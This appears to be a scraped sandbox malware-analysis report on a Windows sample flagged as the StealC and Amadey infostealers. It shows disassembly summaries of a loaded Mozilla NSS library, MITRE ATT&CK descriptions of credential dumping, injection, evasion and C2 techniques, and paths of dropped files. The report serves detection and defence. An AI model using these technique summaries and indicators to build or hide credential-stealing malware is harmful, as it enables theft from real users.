free.MOZGLUE(?), ref: 6CC9CC87

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 342612764acc85330a430392e368b4d0379ce82596a8227fc110039ca4a8c586
Instruction ID: cd0ed2cb14cdf42636fe98b79a7aaf8ba7b2100c9b4e83d92f98b6c8761ea4b2
Opcode Fuzzy Hash: 342612764acc85330a430392e368b4d0379ce82596a8227fc110039ca4a8c586
Instruction Fuzzy Hash: 83E03076700618ABCA10EFA8DC84886B7BCEE492703150565E695C3700D631F905CBA1

Function 6CB79DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CB79E1F

Part of subcall function 6CB313C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB02352,?,00000000,?,?), ref: 6CB31413
Part of subcall function 6CB313C0: memcpy.VCRUNTIME140(00000000,6CB02352,00000002,?,?,?,?,6CB02352,?,00000000,?,?), ref: 6CB314C0

Strings

ESCAPE expression must be a single character, xrefs: 6CB79F78
LIKE or GLOB pattern too complex, xrefs: 6CB7A006

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 93d1d473a761d52b6f5fe6515140df6ba089b91d73d32f70504748992abc6701
Instruction ID: ad8d5b690ad31e0da4b1f5b40b2d9f08ddf85077ca405b06cabc449f19ce349e
Opcode Fuzzy Hash: 93d1d473a761d52b6f5fe6515140df6ba089b91d73d32f70504748992abc6701
Instruction Fuzzy Hash: 27810A70E042918BDB20CF29C4903A9B7F2EF85318F288659DCB59FB85D731E846C7A1

Function 6CBD4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBD4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CBD4DE6

Strings

%d.%d, xrefs: 6CBD4DDE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 5ba5810dcf1a5e4b9f146a40692171c47ac4f80065426bc82b3232cb665b14c3
Instruction ID: f04380e9c5f552e35c723011d10590ac13851844a309b1366016e89495f8b463
Opcode Fuzzy Hash: 5ba5810dcf1a5e4b9f146a40692171c47ac4f80065426bc82b3232cb665b14c3
Instruction Fuzzy Hash: A531ECB2D042996BEB109FA09C11BFF7778DF45309F060429ED55A7781EB31AD05CBA2

Function 6CC1AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC1AF78

Part of subcall function 6CB7ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7ACE2
Part of subcall function 6CB7ACC0: malloc.MOZGLUE(00000001), ref: 6CB7ACEC
Part of subcall function 6CB7ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB7AD02
Part of subcall function 6CB7ACC0: TlsGetValue.KERNEL32 ref: 6CB7AD3C
Part of subcall function 6CB7ACC0: calloc.MOZGLUE(00000001,?), ref: 6CB7AD8C
Part of subcall function 6CB7ACC0: PR_Unlock.NSS3 ref: 6CB7ADC0
Part of subcall function 6CB7ACC0: PR_Unlock.NSS3 ref: 6CB7AE8C
Part of subcall function 6CB7ACC0: free.MOZGLUE(?), ref: 6CB7AEAB

memcpy.VCRUNTIME140(6CCE3084,6CCE02AC,00000090), ref: 6CC1AF94

Strings

SSL, xrefs: 6CC1AF73

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 4bff5b4d02f859cdb9be7e7362cbaee9c12c8c6546a9fa5bd0d2bc6b1821f8ae
Instruction ID: 250456c1cce95aa4cc0bb7c889fcead8737316be07904fb73401984ed4c7740f
Opcode Fuzzy Hash: 4bff5b4d02f859cdb9be7e7362cbaee9c12c8c6546a9fa5bd0d2bc6b1821f8ae
Instruction Fuzzy Hash: 68214BF2309A489FCA81DF53A5133227AB1B34F39875890A9E5084BF35E731A156AFD1

Function 6CB70F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B

Part of subcall function 6CB71370: GetSystemInfo.KERNEL32(?,?,?,?,6CB70936,?,6CB70F20,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000), ref: 6CB7138F

PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

Part of subcall function 6CB71110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001,00000040), ref: 6CB71130
Part of subcall function 6CB71110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001,00000040), ref: 6CB71142
Part of subcall function 6CB71110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB70936,00000001), ref: 6CB71167

Strings

clock, xrefs: 6CB70F20

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: a7e7663d6c5b01821501627a8d0532d6276f79a553a028f24ac1f60ffad97342
Instruction ID: 47885b7cc610b79f8973431e1b2a1d88e1551413b26ae30f68601bf689a036dc
Opcode Fuzzy Hash: a7e7663d6c5b01821501627a8d0532d6276f79a553a028f24ac1f60ffad97342
Instruction Fuzzy Hash: 38D022316001C821C120A2979CA8B9AB3BCC7C3279F140822E42C41D40CA3480DBE376

Function 6CBE0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CBE0DF5
TlsGetValue.KERNEL32 ref: 6CBE0E2D
TlsGetValue.KERNEL32 ref: 6CBE0E58
TlsGetValue.KERNEL32 ref: 6CBE0E84

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 60160d3ff7325777cd417420bf9ffa238b1d7f406e62699f0369f607bc4c4a53
Instruction ID: 80f8b2fac886d53e13a235dcf81daddc017b2602a381e66f9e64dbb8e3dae07b
Opcode Fuzzy Hash: 60160d3ff7325777cd417420bf9ffa238b1d7f406e62699f0369f607bc4c4a53
Instruction Fuzzy Hash: 1C319070A442C58BDB105F78A44426977B4FF0E788F114679D898C7A11DF35D085EB92

Function 6CBE0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB82AF5,?,?,?,?,?,6CB80A1B,00000000), ref: 6CBE0F1A
malloc.MOZGLUE(00000001), ref: 6CBE0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBE0F42
TlsGetValue.KERNEL32 ref: 6CBE0F5B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 8c6480e1fda552245208d53b3288ee00c0a5099271927736bd87beeb339157ae
Instruction ID: e3fa2324d0de6224183a35892c0e988ce239e6637bf7632547ebc2f5b8d1697a
Opcode Fuzzy Hash: 8c6480e1fda552245208d53b3288ee00c0a5099271927736bd87beeb339157ae
Instruction Fuzzy Hash: AE01B5B1E002C05BEF102B3EAD445567BBCEF5A699B050265EC18C2A21EF21D865D6E2

Function 6CB91EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB91ECE
free.MOZGLUE(?), ref: 6CB91EDF
free.MOZGLUE(?), ref: 6CB91EEF
free.MOZGLUE(?), ref: 6CB91EF5

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 12c1b0b8416f3e49f6a04dfc462f067078104c0eb0d3a8ef91ac7b88ebb7ddb2
Instruction ID: 5c0eb2906ef7deca3d35176b5b43d0a31eccf68b7e95c334beaf1ad112b6e19f
Opcode Fuzzy Hash: 12c1b0b8416f3e49f6a04dfc462f067078104c0eb0d3a8ef91ac7b88ebb7ddb2
Instruction Fuzzy Hash: 0BF0BEB57006456BEB00EB69EC89E2773BCEF462A4B180434EC0EC3A00EB25F450D6A2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFIJEBFCGDAAKFHIDBFIDBKFHJ

C:\ProgramData\EHJJKFCB

C:\ProgramData\FHIDAFHCBAKFCAAKFCFC

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

C:\ProgramData\GDGHIDBKJEGIECBGIEHC

C:\ProgramData\HDGDGHCA

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre